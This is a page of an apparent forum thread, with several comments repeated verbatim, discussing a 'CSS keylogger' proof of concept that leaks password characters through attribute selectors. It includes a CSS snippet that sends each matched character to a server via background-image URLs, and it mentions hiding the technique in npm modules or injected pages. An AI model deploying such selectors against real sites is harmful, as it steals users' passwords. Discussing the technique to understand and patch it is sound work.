21–30 of 173 posts
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
This is not a CSS keylogger if you need to update the attributes with the input value via JS.
Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe that should be fixed as it’s unnecessary.
Why do you have to activate the extension before entering the password?
So you can test the "exploit" obviously.
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)
Earlier quoted context omitted.
So you can test the "exploit" obviously.
yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?
The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com (my example on github), they would fail.
Earlier quoted context omitted.
The input has to have the "value" set in the HTML. https://jsfiddle.net/tdwsw6zo/4/
Well, yes of course but that's simply an attribute selector parsing the raw HTML. This can be done with any attribute: input[type="password"][hackernews$="isthebestwebsite"] { background-image: url(" http://placehold.it/15x15?text=h4x0r "); } That's not a keylogger at all, the data is already printed in the HTML source.
Earlier quoted context omitted.
You are. CSS has gone "too far" the second it allowed linking to images. I can simply background-image:url("myTrackingPixel.png") and then track whenever someone tries to load that image from my server.
It drives me crazy when I see someone has implemented Doom in CSS, but it still requires black magic to do a simple responsive three column layout without using bleeding edge features that aren't widely supported yet.
view-source:http://alistapart.com/d/holygrail/example_3.html
Hmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
So wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Earlier quoted context omitted.
yes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?
Yes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization. The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one…